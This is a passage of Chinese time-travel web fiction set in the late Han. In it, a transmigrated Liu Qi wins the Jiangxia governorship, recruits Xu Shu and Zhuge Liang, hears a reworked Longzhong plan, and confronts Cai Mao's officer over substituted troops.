“郡内谣言蜂起,皆言黄太守败亡,荆州门洞大开,孙策不日将至!” “张羡旧部勾结张怿以及桂阳、零陵、武陵豪强,私兵聚集,打出的旗号……旗号是‘讨刘复张’!” “武陵…武陵郡已失控,荆南四郡恐…恐顷刻皆反啊!” 轰! 这消息如同九天惊雷,彻底炸懵了堂内所有人! 刘表听到“讨刘复张”四个字,身子猛地一僵,最后一丝血色也从脸上褪去,刘表直直地看着前方,眼神恍惚,喃喃道:“完了…完了…” 随即,刘表整个人向后一仰,彻底晕厥过去。 “父亲!” “主公!快传医官!” 州牧府内顿时鸡飞狗跳,乱成一锅粥。 州牧府的恐慌如同瘟疫,迅速席卷了在场的每一个文武官员。 刘表在荆州的统治,在这一刻,仿佛有了倾覆的迹象。 混乱与绝望的人群中,刘琦垂首而立,努力掩饰着脸上的表情。 刘琦扶着晕厥的父亲,快速往医官那里而去。 但心中却与众人那惶惶不可按不同,反而有一种紧张夹杂着一丝丝兴奋。 因为,刘琦知道,自己终于等来了一个让自己挣脱襄阳这座牢笼的机会, 虽然穿越过来后,刘琦便打定主意,与其最后如同丧家之犬般被蔡家赶出襄阳前往江夏,到还不如自己主动前往江夏的打算。 但刘琦想归想,想要实现却一时间无从下手(嘴),因为黄祖还没死,自己怎么像刘表索要太守之位? 难道要刘琦跟黄祖说,你不行,过不了多久就会被后面继位的孙权给干死,与其被干死,还不如将位置让我。 刘琦光想想就知道自己要是说了会是什么下场,如今还只是蔡家联合蒯家排挤自己,只是难以在襄阳城或者是南郡立足而已,要是在得罪了黄家,那刘琦可以说跟荆州彻底无缘了。 所以,徐庶会婉拒刘琦的招揽除了是事关重大,还有一层原因就是刘琦是真*空架子,除了一个长公子的名头什么都没了。 跟着刘琦这样的主公,就算徐庶再自傲觉得自己本领高强,也只能待在刘琦偏院内跟刘琦吹牛打屁,干瞪眼! 所以此次黄祖身死对刘琦来说既是危机,亦是最大的转机。 如今孙策寇掠江夏,碍于孙策兵威,一般人是不敢去接手这烂摊子的。 在确定刘表只是气急攻心,一时间昏过去了后,刘琦望着躺在床榻上的刘表。 刘琦目光坚定,心中打定主意只等刘表苏醒,刘琦便开口向刘表索要众人避之不及的江夏太守之位。 此举不是我死便是潜龙在渊,一飞冲天! 刘琦暗自握拳暗道。 随着知道孙策阵斩黄祖夺取沙羡,荆州东大门被破的消息被越来越多人知道,顿时襄阳城内乱成了一锅粥。 州牧府里,刘表吐血昏厥,医官进进出出,面色凝重。 堂外文武官员聚了一堆,交头接耳,人人脸上都写着惶恐,此时要是再传来孙策要沿汉水北上的消息传来,恐怕这些人中,会有立马跑回家中,收拾细软逃出襄阳城。 而此时的蔡瑁也是如此虽然梗着脖子还在那嚷嚷要发兵报仇,可眼神里的虚闪瞒不了有心之人。 刘琦扶着“昏睡”的父亲,脸上堆满了恰到好处的忧虑和焦急,但心里却跟明镜似的。 刘琦趁着众人注意力都在刘表身上,悄悄的借口更衣,然后快步溜回了自己那偏僻的小院。 襄阳城内沸鼎宣天的消息自然是瞒不过徐庶,所以此时徐庶早已等在书房,神情之间都有些焦急。 见刘琦进来,徐庶眼中难得地迸发出一丝灼热的光彩,压低声音道:“公子,机会来了!” 刘琦重重喘了口气,不是累的,是兴奋的:“元直兄,我都按捺不住了!黄祖死得好!死得真是时候!” 接着,刘琦快速简单的跟徐庶说了一下刚才在州牧府内的情况,徐庶虽然从仆役等人口中听出了个大概,知道黄祖身死,荆州东大门被孙策占领。 但也只限于此了,远不如刘琦知道的切实,所以当刘琦说完后,徐庶敛了敛脸上情绪。 徐庶快步走到简陋的荆州地图前,手指猛地点在沙羡(江夏郡治)的位置:“黄祖骄横身死,江夏群龙无首,兵无战心,民心动荡!孙策携大胜之威,下一步必是西进图谋江陵,截断荆州!此刻,急需一有力之人速往江夏,收拾残局,整合兵马,阻滞孙策兵锋!” 徐庶语速极快,显然早已深思熟虑:“此人,需有足够名望背景,方能止住江夏那些残兵败将溃散之心以及稳住地方豪强,防止他们摇摆甚至倒向江东。” 说着徐庶又数着手指头,盘点起荆州目前有这个能力前往江夏的人 文聘?他是汉江督防,专司防御北面张绣、曹操,擅离职守则北门洞开,想必州牧绝不会轻动! 蔡瑁? 提起蔡瑁,徐庶冷哼一声,“他巴不得牢牢攥住襄阳兵权,岂会愿意去那危如累卵的江夏前线?” “蒯良、蒯越兄弟?此二人乃州牧心腹谋士,眼下荆南四郡不稳,稍有不慎便是烽烟将起,而安抚南方、稳定大局离不开他们,州牧必会留下一人,另一人极可能被派往荆南稳定局势!” 徐庶猛地转头,目光灼灼地盯着刘琦:“算来算去,眼下最适合、也最可能被派往江夏的,唯有公子您!长公子身份,名正言顺!此刻州牧昏迷,众人无主,正是公子主动请缨,一举拿下江夏太守之位,脱离襄阳这囚笼的天赐良机!” 徐庶越说越激动,脸上甚至泛起一丝红晕。 徐庶本是寒门侠士,自负一身才学,却苦无施展之地。 前些日子婉拒刘琦,非是徐庶不愿,实乃是在观望中。 他徐元直岂能轻易将前程押注在一个看似永无出头之日的笼中雀身上? 徐庶要的是海阔天空,是能让自己辅佐腾跃九霄的明主! 而此刻,徐庶或者说刘琦的机会就在眼前! 若刘琦能抓住,便是鱼入大海,鸟上青霄! 他徐庶的眼光和等待,就没有白费! 刘琦听得血脉贲张,果然英雄所见略同。 徐庶的分析与他所想不谋而合,甚至更为透彻! 刘琦用力一点头:“我这就回去!等父亲一醒,立刻请命!” 第9章 趁乱请命出樊笼,兄友弟恭藏机锋 州牧府内室,药味浓郁。 刘表悠悠转醒,映入眼帘的便是围在榻边一脸“忧色”的蔡夫人、刘琮、蔡瑁、蒯越等人,还有默默跪坐在稍远位置,低眉顺眼端着药碗的刘琦。 刘表刚缓过气,一想到荆南的烂摊子和虎视眈眈的孙策,又是一阵头晕目眩,哀叹道:“江夏新败,荆南又乱,如之奈何…如之奈何啊!” 蔡瑁立刻接口:“明公宽心!给我精兵,我必…” 蔡瑁话未说完,刘琦却突然动了。 刘琦放下药碗,猛地跪行到榻前,声音不大,却让人清晰地听出其中的坚定,带着一丝恰到好处为父担忧的哽咽: “父亲!孩儿不孝,未能为父分忧!” 众人听后只感觉想笑,你一个软弱无根基的公子,你竟然还说未能为父分忧? 彰显你孝心也要分时候吧! 果然随着刘琦说完,刘表面上顿时显露出几分不悦。 但刘琦视而不见,继续道: “如今强敌压境,家国危难,孩儿愿往江夏,收拢败军,安抚百姓,必竭尽全力,阻挡孙策西进,为父亲稳定江夏,择机夺回沙羡!” 刘琦这一语既出,满堂皆惊! 所有人的目光瞬间聚焦在刘琦身上。 蔡瑁像是听到了天大的笑话,嘴角一撇,毫不掩饰地露出讥讽之色,那眼神分明在说:就你?去送死吗? 蔡夫人则是柳眉微蹙,狐疑地打量着刘琦,不明白这平日里懦弱的长公子,怎么今天就像是吃了熊心豹子胆似的。 蒯越眼中闪过一抹惊异,重新审视着这位存在感极低的长公子。 伊籍、王粲等中立官员则是面露讶色,既震惊于刘琦的胆魄,又为其孝心微微动容。 刘琮更是惊呆了,他看着跪在那里的兄长,只觉得此刻的刘琦让他感到无比的陌生。 去江夏面对那个阵斩黄祖的“小霸王”孙策? 刘琮光是想想就腿软。 紧接着刘琮一丝羞愧掠过心头,愧疚自己不能像大哥般,明知是去送死,亦也要为父亲分忧,不过很快刘琮心中随即又被另一种情绪取代——窃喜! 大哥自己去找死,岂不是…岂不是正好? 刘表也愣住了,不悦之色一扫而光,浑浊的眼睛看着跪在面前的儿子,几乎不敢相信自己的耳朵。 这个一向唯唯诺诺、被蔡氏压得喘不过气来的长子,竟有如此胆量和担当? 难道自己以往真的看走了眼? 一股复杂的情绪涌上刘表心头,既有不敢置信,又有一丝老怀安慰,但更多的是不忍:“琦儿…你…你知道那孙策何等凶悍?黄祖亦非其敌,你…你如何去的?此非儿戏!” 刘琦抬起头,目光迎向父亲,斩钉截铁,声音提高了些许: “为父分忧,乃孩儿本分!纵是刀山火海,孩儿亦无所惧!” “而江夏新败,士卒百姓惶恐,非父亲骨肉至亲亲临,不足以安人心、振士气!” “父亲!荆南之事更为紧要,需得力重臣前往安抚,蒯别驾(或蒯良此时官职)智略超群,正堪此任!而江夏,请交给孩儿!孩儿愿立军令状!” 刘琦这番话条理清晰,有理有据,甚至主动为分析了分派了荆南的人选,刘琦如此言语更是惊呆了众人! 这哪还是那个怯懦的刘琦? 刘表怔怔地看着儿子,看着刘琦眼中那份前所未见的坚定和决绝,恍惚间仿佛看到了当年单骑入荆州、独闯龙潭的自己。 一股热流猛地冲上心头,刘琦颤抖着伸出手,抓住刘琦的胳膊:“好…好!好孩儿!像…像为父!有我荆州世子的担当!” “世子”二字一出,蔡瑁、蔡夫人脸色骤变。 就在这时,或许是受到父亲话语的刺激,或许是那点残存的兄弟之情与虚荣心作祟,刘琮竟鬼使神差地也跟着跪了下来,脱口而出:“父…父亲!孩儿…孩儿也愿随大哥同往江夏,为父分忧!” 这话如同又一记炸雷,把所有人都劈傻了! 刘琦心头猛地一紧,第一反应是:这小子看出了我的图谋?要来捣乱?还是蔡氏授意? 蔡瑁、蔡夫人和蒯越更是脸色大变,蔡夫人急得直接失态低呼:“琮儿!你.....你胡说什么!” 蔡瑁更是恨不得把刘琮的嘴缝上!他们巴不得刘琦赶紧滚蛋去送死,怎能让宝贝外甥(侄子)也跟着去冒险? 刘琦去江夏送死了,这荆州将来就是他刘琮的!他去凑什么热闹? 在蔡家兄妹凶狠的眼光逼视下,刘琮立马就知道自己说错话了,心中后悔不已,看着姨娘和舅舅那凶狠的目光,吓得赶紧低下头,心里懊恼万分,暗骂自己冲动。 “主公不可!” 蒯越也是急忙上前,“二位公子孝心可嘉,然江夏凶险,岂可同时涉险?” “江夏有大公子前往,足显主公决心与仁爱!二公子年岁尚轻,当留在襄阳,于主公榻前尽孝,亦是重任!” “正是此理!”蔡瑁赶紧附和,“琮儿一片孝心,但军国大事非同儿戏!有琦儿去就够了!” 刘表看着跪在面前的兩個儿子,一个毅然决然,一个“冲动热血”,顿感老怀大慰,刚才孙策阵斩黄祖,让他痛失大将的阴霾都散了不少。 刘表本就偏爱刘琮,更不舍得让他去冒险,刚才只是一时激动,此刻被众人一劝,也犹豫起来。 刘琦见状,立刻顺势而上,表现出兄长的“关怀”: “父亲,江夏凶险,有孩儿一人足矣!且琮弟留在父亲身边侍奉汤药,代孩儿尽孝,孩儿在外方能安心对敌!” 刘琦这话说得漂亮极了,既全了“兄友弟恭”的面子,又把刘琮牢牢按在了安全的襄阳。 刘表闻言,果然大为感动,不再犹豫,紧紧握住刘琦的手:“好!好!就依我儿!琦儿,江夏…就托付给你了!” 刘表深吸一口气,强撑着下令:“传令!即日起,授刘琦江夏太守之职,领辅义中郎将,总督江夏军事!” “蔡瑁,即刻从襄阳军中调拨五千精兵予大公子!另,传檄长沙、章陵二郡,令其兵马暂受大公子节制,共御江东!” “诺!”众人齐声应道,心思各异。 蔡瑁咬着牙领命,心里暗骂刘琦走了狗屎运,又庆幸刘表没同意刘琮去。 蔡夫人脸色阴沉,勉强维持着笑容。 刘琮虽然松了口气,却又有一丝莫名的失落。 刘琦重重叩首,压下心中的狂喜,声音沉静而有力:“孩儿,必不负父亲重托!” 终于....我终于,要跳出这襄阳的囚笼了! 第10章 三顾茅庐终得贤,新论隆中定乾坤 当刘琦捧着那卷沉甸甸的任命诏书回到偏院时,刘琦只感觉脚步都有些发飘。 一进门,刘琦也顾不上什么仪态了,快步来到徐庶房间,当着徐庶的面,将诏书往他案前一拍。 刘琦声音里是压不住的兴奋:“元直!成了!我成了!江夏太守!五千兵马!并且还可节制长沙、章陵二郡军务!” 徐庶猛地站起身,接过诏书飞快地扫了一眼,眼中神采奕奕,一向冷静的徐庶此时也忍不住用力一挥拳: “好!太好了!主公!自此,你便是鱼入大海,鸟上青霄,再也不受这襄阳笼网之羁绊了!” 徐庶这一声“主公”,叫得无比自然,显然是真心认同了刘琦的地位。 狂喜过后,谋士的本能让徐庶迅速冷静下来。 徐庶拉着刘琦走到那张简陋的荆州地图前,神色变得凝重:“主公,脱困仅是第一步。” “如今大敌当前,孙策挟新胜之威,其势正炽。” “若不能将其击退,夺回江夏,主公眼下则一切皆是镜花水月,届时前无去路,后无归途,死无葬身之地矣!” 说着徐庶手指点向江东方向,开始详细剖析:“孙策本人勇冠三军,有‘小霸王’之称,此乃其军胆魄所在。” “然其麾下,更需警惕者,乃其结义兄弟周瑜周公瑾!此人雄烈,胆略兼人,精于水战,运筹帷幄,实乃江东柱石,此次大败黄祖,恐怕出自其手笔!” ”此外,孙策内政有张昭、张纮等‘二张’辅佐,稳固后方,供给粮草,方能令孙策无后顾之忧,肆意征伐。此二人,皆乃王佐之才…” 刘琦听着徐庶一本正经地介绍这些他“早已烂熟于心”的情报,看着他那认真严肃的样子,想到自己此刻本该“大惊失色”才对,不由得觉得有些滑稽,嘴角忍不住微微上扬了一下。 徐庶何等敏锐,立刻察觉,眉头微蹙,语气带上了几分责备:“主公!此乃生死存亡之际,岂可笑闹?孙策军绝非黄祖那般庸碌之辈,稍有轻敌,便是万劫不复!” 徐庶见刘琦嘴角笑意便以为刘琦是骤然得权,兴奋得有些忘形了。 刘琦心中一凛,立刻收敛笑容,正色道:“元直教训的是!是琦失态了。” 革命还未成功,自己怎么能飘了呢! 刘琦心中暗骂自己一句,赶紧将那些“先知”的念头压下,摆出虚心受教的样子。 “还请元直详解破敌之策。” 随后两人便对着江夏地图一一讨论,这一讨论,便让二人彻底沉浸进去。 二人对着地图,从沙羡失守的位置,到可能进军江陵的路线,再到沿途地形、水文、可用之兵、粮草补给…方方面面,逐一推演。 徐庶思维缜密,分析入木三分。 刘琦则凭借超越时代的模糊认知,时而提出一些天马行空却又不无道理的想法,常让徐庶眼前一亮。 二人这一谈,竟忘了时辰,直到窗外天色彻底昏黑,侍女翠儿端着饭菜在门外怯生生地唤了好几声,两人才恍然惊觉,察觉到腹中早已饥肠辘辘。 看着彼此那副废寝忘食的模样,两人相视一愣,随即同时哈哈大笑起来。 瞬间一股惺惺相惜、志同道合的暖流在两人心中荡漾。 能遇一知己,纵论天下至忘饥废寝,夫复何求? 饭后,徐庶厢房内烛火重新亮起。 刘琦看着对面睿智沉静的徐庶,心中底气足了很多。 于是刘琦深吸一口气,再次郑重开口:“元直,前路艰险,琦需仰仗君之才略。” “今日我再问一次,先生可愿助我,共图大业?” 这一次,刘琦目光灼灼,充满了真诚与期待。 徐庶没有立刻回答,他站起身,整理了一下衣袍,面色肃然,对着刘琦缓缓躬身,行了一个正式的臣下之礼:“蒙主公不弃,屡次相邀,以国士相待。” “庶虽才疏学浅,亦愿竭股肱之力,效犬马之劳,辅佐主公,匡扶汉室!” “好!好!得元直,如高祖得子房矣!” 得徐庶答应,刘琦大喜过望,连忙起身扶起徐庶,当即任命徐庶为军师中郎将,参赞军机,总领幕府谋划。 徐庶起身后,却沉吟片刻,又道:“主公,庶所长者,军争谋略,奇策诡道。” “然治理地方,安抚百姓,筹措粮饷,稳固根基,此非庶之所长,欲抗孙策,并图长远,需得一内政大才。” 说着徐庶目光投向隆中方向,语气带着无比的推崇:“吾有一挚友,隐居隆中,姓诸葛名亮,字孔明。” “其人才略,胜我十倍!有经天纬地之才,管仲、乐毅之比也!尤其精通内政,善于治民,若得此人相助,则江夏可定,基业可兴!” 徐庶内心:吾虽亦有争胜之心,不愿屈居周瑜之下故未投江东。 然今既已认主,自当以主公大业为重。 主公初得根基,羽翼未丰,正需广纳贤才,方能稳固壮大。 孔明之才,远胜于我,有他打理内政,我在外谋划军事,方能相得益彰,助主公真正腾飞! 刘琦一听,心里简直乐开了花,还有一种奇妙的“大老婆主动帮忙纳妾”的错觉。 刘琦强忍着没表现出来,反而故作迟疑:“孔明先生大才,我亦素有耳闻,曾两次拜访,皆缘悭一面。” “只是…如今已得元直,若再…” 徐庶却立刻打断他,诚恳道:“主公切勿作此想!能得明主,乃臣子之幸!” “而为主公引荐真正的大才,更是庶之分内之事!” “且孔明非寻常俗士,非诚心不足以动之。” “庶愿先行修书一封,以故友之名代为引荐,并告知主公如今处境与诚意。” “吾知其常于何时耕读、何时访友,待时机成熟,主公当亲往,必能得见!” 刘琦还能说什么,自然从善如流:“如此,一切有劳元直安排了!” 数日后,徐庶找到刘琦告知三顾茅庐时机已至。 刘琦立刻以“招募贤才,共抗孙策,增援江夏”为名,堂堂正正地带着徐庶和侍卫,第三次奔赴隆中。 蔡瑁得知,虽冷哼一声,却也无法阻拦——这可是刘表亲自下的命令。 轻车熟路来到那处熟悉的茅庐外,此次,那总角小童并未阻拦,而是笑嘻嘻地一揖:“先生已在堂内等候贵客多时矣。” 闻言刘琦精神一振,与徐庶对视一眼,整理衣冠,深吸一口气,缓步而入。 草堂之内,一人身长八尺,面如冠玉,头戴纶巾,身披鹤氅,飘飘然有神仙之概,正静坐抚琴,琴音清越,仿佛能涤荡人心。 见刘琦等人进来,琴声渐歇,他缓缓起身,目光温润而深邃,落在刘琦身上,微微一揖:“南阳野人,疏懒性成,屡蒙公子枉驾,不胜愧赧。” 刘琦看着眼前这位青史留名、鞠躬尽瘁的蜀汉丞相,心情激荡,难以言表。 刘琦压下翻腾的心绪,郑重还礼:“先生乃世外高人,刘琦凡夫俗子,屡次叨扰,只为一睹先生风采,请教安邦定国之策。” “如今荆州危殆,江夏糜烂,百姓倒悬,琦虽不才,受命于危难之际,恳请先生出山相助,救斯民于水火,挽狂澜于既倒!” 事态紧急刘琦也不再空谈抱负,而是直指当前江夏的危机和百姓困苦。 诸葛亮目光微动,看向一旁的徐庶。 徐庶含笑点头,开口道:“孔明,主公乃真心求贤,且胸怀大志,仁德爱民,绝非庸碌之辈,如今得此机遇,正可一展平生所学,你我还犹豫什么?” 诸葛亮沉吟片刻,观刘琦神色诚恳,气度沉凝,与听闻的“懦弱”形象大不相同,加之又有好友徐庶力荐,心中已信了七八分。 于是诸葛亮轻摇羽扇,缓缓道:“亮久乐耕锄,懒于应世,恐不堪任用。” 刘琦再次躬身:“先生大才,岂可空老于林泉之下?愿先生以天下苍生为念,开琦愚鲁而赐教!” 诸葛亮见其意甚诚,终于叹道:“将军既不相弃,亮愿为将军效犬马之劳。” 诸葛亮这话这便是答应了。 闻言刘琦大喜过望,立刻拜谢。 但随后,刘琦却心念一动,既然历史的修正力让自己真*三顾茅庐,那自己也得尊重一下历史才行。 于是刘琦便故作忧虑道:“然琦如今虽得江夏,却如盲人瞎马,不知前路在何方。” “今有孙策强敌压境,荆州内部不稳,敢问先生,琦当何以自处?何以安身立命?” 诸葛亮知这是问策,也是相试。 于是诸葛亮请刘琦、徐庶至地图前,沉思良久,羽扇轻摇,从容道:“自董卓造逆以来,天下豪杰并起,跨州连郡者不可胜数。曹操势不及袁绍,而竟能克绍者,非惟天时,抑亦人谋也。” “今曹操已拥百万之众,挟天子以令诸侯,此诚不可与争锋。” “而江东六郡,已尽归孙氏所有,据大江之险,而民附之,贤能为之用,日后将军欲匡扶汉室,孙氏可先用为援而后图之。” 接着诸葛亮话锋一转,指向刘琦即将赴任的江夏:“将军既为刘荆州长子,据顺继之理,此乃大义名分。” “荆州北据汉、沔,利尽南海,东连吴会,西通巴、蜀,此用武之国,而其主刘表不物尽其用,此殆天所以资将军,将军岂有意乎?” 刘琦配合地露出“震惊”和“惶恐”之色:“先生何出此言?此乃我父基业…” 诸葛亮微微一笑,并未揭穿刘琦。 你刘琦要是真的如你所表现般的惶恐,你又怎么会明知山有虎偏向虎山行,向刘表讨要江夏太守之位呢? 诸葛亮继续说道: “今得江夏,实乃将军天赐之机,且容亮为将军细细道来。” 刘琦精神一振,“来了!千古名对‘隆中对’” 刘琦郑重地说道:“请先生详述之!” 诸葛亮羽扇轻点江夏: “亮为将军所谋乃高筑墙,广积粮,缓称王!” “高筑墙:江夏新败,城防残破,民心惶惶。” “将军当务之急,非与孙策争一时之短长,而是整修城防,巩固壁垒,精练水师,扼守汉水、长江咽喉。” “使江夏成为钉入江东与中原之间的楔子,让孙策西进忌惮,曹操南下不畅。此地,乃将军未来之根本,务必使之固若金汤。” 接着,诸葛亮的手指划过长江:“广积粮:江夏地处冲要,虽经战乱,然土地肥沃,水系发达。当招抚流亡,劝课农桑,兴修水利。” “同时,可利用长江水道,与荆州腹地、乃至江东(通过商贸)、益州进行贸易,积累钱粮军资,府库充盈,兵精粮足,方有日后进取之资本。” 然后,诸葛亮的目光变得深远:“缓称王:将军虽有长公子之名,然蔡氏在侧,荆州未定,此绝非亮出旗号、急于争霸之时。” “当外示谦退,内修政理。对刘荆州,需谨守人子之份,时常请示汇报,以安其心,以塞蔡氏之口。对内外,则广施仁政,收拢江夏、长沙、章陵人心,暗中结交荆州忠义之士,徐图后效。” “待根基稳固,时机成熟,” 诸葛亮的手指快速地向东移动,“可遣一稳重之将帅,率精兵良将,顺江而下,步步为营,先取庐江、豫章等地。” “此举非为与孙氏全面开战,而是剪其羽翼,扩我疆土,积小胜为大胜。取得之地,需立即安抚百姓,建立稳固统治,使之成为屏护江夏、进军中原之前哨。” 接着诸葛亮的手指最后重重地点在中原:“最终北伐,不可孤军深入,急于求成。待北方有变时,或将军实力足够雄厚之时,当以堂堂之师,正正之旗,多路并进。” “一路出襄阳,北上宛、洛,吸引敌军主力。” “一路出扬州,经淮泗,攻略徐、兖,切断中原联系。” “同时!” 诸葛亮指向益州: “益州险塞,沃野千里,天府之土。刘季玉(刘璋)虽暗弱,然同为汉室宗亲。将军他日若得执掌荆州,可遣使结好,以宗室之名,共倡大义,邀其出兵秦川,以为北伐呼应。” “如此,三路或两路出击,稳扎稳打,逐步压缩北方之敌空间。每得一地,必牢固守之,安抚之,使其成为下一步进军之基。而非悬军千里,寄希望于奇袭一战而定。” “北伐乃持久之事,欲速则不达。唯有根基稳固,循序渐进,方有望克竟全功,中兴汉室!此亮所以为将军谋者也,愿将军深思。” 诸葛亮这一番基于刘琦改造后的“新隆中对”,彻底摒弃了历史上因为刘备根据不足,时间不足而定制出那种“天下有变则分兵奇袭”的冒险策略,转而改为很符合诸葛亮性格的内政建设、根基巩固、步步为营、多路稳步推进的战略。 而刘琦却听得目瞪口呆,手中的茶碗差点失手滑落。 高筑墙、广积粮、缓称王! 这九个字如同九道惊雷,接连劈在刘琦的脑海深处,震得刘琦耳畔嗡嗡作响,心中更是掀起了滔天巨浪! 刘琦瞪大了眼睛,死死盯着眼前羽扇纶巾、一副世外高人模样的诸葛亮,脑子里只有一个念头在疯狂回荡: ‘卧槽!这…这剧本不对啊!这分明是朱升献给朱八八的九字方针啊!” “怎么提前一千多年从你诸葛亮嘴里蹦出来了?!” “难道…难道你孔明先生也是穿越过来的老乡?不对不对…这气质这谈吐,分明是原装正品的卧龙…可这战略思想…也太超前了吧?!’ 刘琦现在只感觉自己的世界观受到了猛烈冲击,一时之间竟有些恍惚,分不清这到底是汉末还是元末。 而眼前的诸葛亮在刘琦眼中仿佛笼罩上了一层神秘的光环,让刘琦心生无限敬畏的同时,又掺杂着一丝荒诞离奇的亲切感。 ‘还是说…这就是顶级谋士的恐怖之处?其战略眼光已经超越了时代,直指本质?无论哪个时代,崛起于微末、积攒实力、最终北伐定鼎天下的核心逻辑,都是相通的?’ 刘琦艰难地咽了口唾沫,努力消化着这巨大的信息量和震撼。 等刘琦再次看向诸葛亮那深邃平静的眼眸,里面闪烁着的是洞察世事的智慧光芒,绝非戏谑或试探。 刘琦瞬间明白了,这不是巧合,更不是穿越,这是诸葛亮基于当前天下大势和刘琦自身处境,提出的最务实、最稳健、也最具远见的根本大计! 而一旁的徐庶听得眼中精光闪闪,忍不住击节赞叹:“妙!妙啊!孔明此论,根基扎实,谋划深远,步步为营,真乃王佐之定国方略!” “如此,主公基业可立于不败之地,而后图进取!庶远不及也!” 刘琦也从巨大的震惊中回过神来,强行压下心中那“诸葛亮莫非是朱升转世?”的荒谬吐槽,脸上露出无比叹服和激动的神色。 刘琦深吸一口气,压下狂跳的心脏,对着诸葛亮,深深一揖到底,声音因有些激动而略带颤抖:“先生之言,真乃金玉良言,字字珠玑!如此九字方针,三路稳步北伐之策,非深谋远虑、洞悉天时地利人心者不能道出!” “令琦茅塞顿开,如拨云雾而睹青天!琦只恨得遇先生太晚!” 刘琦直起身,目光扫过一旁的徐庶,然后回到诸葛亮身上,语气坚定: “今江夏未定,百废待兴,内政民生尤为重中之重,乃‘高筑墙、广积粮’之根基!” “琦虽得父命暂领太守,然才疏学浅,恐负重任,今得遇先生,实乃天幸!” “琦,愿以江夏太守之名,拜请孔明先生,总领江夏郡一切内政事务,署理民生、农桑、赋税、仓廪、教化!府库财帛、官吏考绩,皆由先生统筹决断!” “还望先生万勿推辞,助琦稳住根基,救此一方百姓,共图大业!” 徐庶在一旁听得,眼中赞赏之色更浓。 刘琦此举,可谓恰到好处,既给予了诸葛亮极大的尊重和舞台,又明确了权力架构,徐庶负责军谋,诸葛亮负责内政,相得益彰。 第11章 欲斩蔡瑁嫡系,刘琦巧夺精锐! 刘琦三顾茅庐招揽到诸葛亮后从隆中回来没几日。 刘琦偏院里,刘琦正和诸葛亮、徐庶两人正在商议去江夏的细节,院外突然传来脚步声,一个皂吏捧着文书匆匆进来,躬身道:“大公子,蔡都督让来传令,五千襄阳兵已备好,还请您尽快过去接手,莫误了前往江夏的时辰。” 那皂吏传完话便缩着脖子走了,连口热水都没蹭,像是深怕待久了会引起其他人注意。 刘琦捏着那份调兵诏令,抖了抖,并未在意那皂吏的态度。 他被蔡、蒯两家排挤,在这州牧府人尽皆知,所以皂吏也怕被有心之人扣上一顶亲近长公子的帽子。 刘琦深吸一口气,转身对屋内看着自己的众人道:“时机到了,诸位,随我去接掌兵马!” 诸葛亮羽扇轻摇,眼神沉静,徐庶按剑而立,面色凝重。 陈武、李忠、张诚几个心腹早已披挂整齐,轰然应诺。 一行人马快速踏出襄阳城,直奔城外大营。 等刘琦一行人来到军营辕门处,只见只有一名蔡家嫡系的校尉领着几个亲兵候着,见刘琦仪仗到来,也只是懒洋洋地抱了抱拳,脸上挤出的笑比哭还难看: “末将奉蔡都督之令,在此交接。五千兵马已点验完毕,请公子过目。” 说着这名校尉便侧身让开,露出身后大营大门,语气敷衍得像是在打发叫花子。 刘琦心下不悦,但也未发作。 刘琦深知蔡瑁绝没这般好心,让自己顺利的领着五千精锐。 说不定这大营里这五千人里头若没点猫腻,那才是见了鬼。 于是刘琦朝诸葛亮递去一个眼神,诸葛亮微微颔首。 “有劳校尉了。” 刘琦不动声色,“不过,本公子依然要按规程,校阅一番。” 那校尉嘴角撇了撇,似有讥诮,却没阻拦。 刘琦翻身下马,带着诸人步入校场。 而营内五千士卒因刘琦要来接手,是以早已全军排列在校场。 有道是人一过一万,无边无沿,虽然校场内只有五千人,但刘琦望去,却也是黑压压的一片。 为了查看出蔡瑁是否在搞小动作,刘琦一路上看得极细,从阵列队形到士卒面色,再到手中兵器、身上甲胄,一队一队查验过去。 正如刘琦所料,五千士卒虽面无菜色,也并非老弱病残,但大部分队伍队列松松散散,且衣甲陈旧,兵器也多有破损,一看便是蔡瑁从地方郡县抽调而来的郡兵,而非那日刘表所令的从襄阳军中调拨五千精兵。 一圈走下来,刘琦那是越看越怒,“蔡瑁你安敢篡改父令!” 刘琦回到校场的点将台上时, 我知道你是蔡瑁心腹,有权调动兵甲 刘琦强压住心中的怒意,回到点将台上,一把揪过,正在那无所事事的蔡瑁心腹校尉。 刘琦在蔡瑁心腹校尉懵逼中狠狠按在点将台的栏杆上。 刘琦冷声道:“调拨五千襄阳精锐与我,乃州牧之令,你竟敢用这些地方郡兵糊弄我?阴奉阳违,篡改州牧之令——你是想试试我宝剑是否锋利吗?” 被刘琦揪住的校尉名叫赵虎,是蔡瑁的远房侄子,平日里在军营里横着走,哪受过这等气? 闻言赵虎满脸惊怒——在他眼里,刘琦就是个被蔡家捏着玩的软蛋,就算发现了自己的五千襄阳精锐被调换成地方郡兵,以他软弱的性子也只会忍气吞声,怎么敢当众跟他翻脸? 确实,要是刘琦还是以前的刘琦说不定还真的忍下了这口气,毕竟蔡瑁也没做的太过分,即便是给你掉包了,也都给的都是青壮之卒。 但可惜的是此时刘琦身体里的灵魂已经是二十一世纪的了,往日里早已对蔡瑁深感痛绝,恨不得早日将其除掉。 只是示弱不得不忍气吞声蛰伏而已,但如今刘琦已经被刘表任命为江夏太守了,可谓是潜龙脱困,哪还需要忍着你蔡瑁的气? “你..你..你放屁!” 赵虎挣扎着吼道,唾沫星子溅了刘琦一手,“这些都是正经襄阳郡兵!哪来的糊弄?你少在这儿血口喷人,蔡都督的安排,轮得到你一个失势公子置喙?” “呵呵!” 刘琦冷笑一声并未理睬赵虎那唾沫横飞的辩解,转而跨前一步,双手按在点将台栏杆上,对着台下黑压压的五千士卒高声喝问:“你们可知我是谁?” 刘琦这话一出口,校场上先静了瞬,跟着就有士卒左右对视,眼里满是疑惑——谁不知道他是刘州牧的长公子?这不是明知故问吗? 这时有几个胆子大的士卒,嬉笑着嗓子喊:“知道!您是州牧大人的长公子!谁不知道啊!” 刘琦闻言笑了,声音提得更高,尽量让他的话传入每个士卒耳朵中: “不错!我是州牧的长子,但今日要再加一句——父亲已表我为江夏太守,不日我便要去江夏,把占了咱们荆州地盘的孙策贼寇赶出去!” 刘琦顿了顿,目光扫过台下那些攥着兵器的手,“而你们,本是赵校尉划拨来的襄阳营精锐,过几日就得随我去江夏杀敌!到时候立了功,封妻蒙子、光耀门楣!” 这话刚落,校场上“轰”的一下就炸了! 前排听到的士卒们瞬间哗然,不少人把兵器往地上一扔,脸上满是愤怒:“啥?去江夏打仗?俺们是来守襄阳的!” “赵校尉说让俺们防孙策北上袭扰襄阳,没说要去前线杀敌啊!” “这是骗俺们!俺不干!俺要回家!” 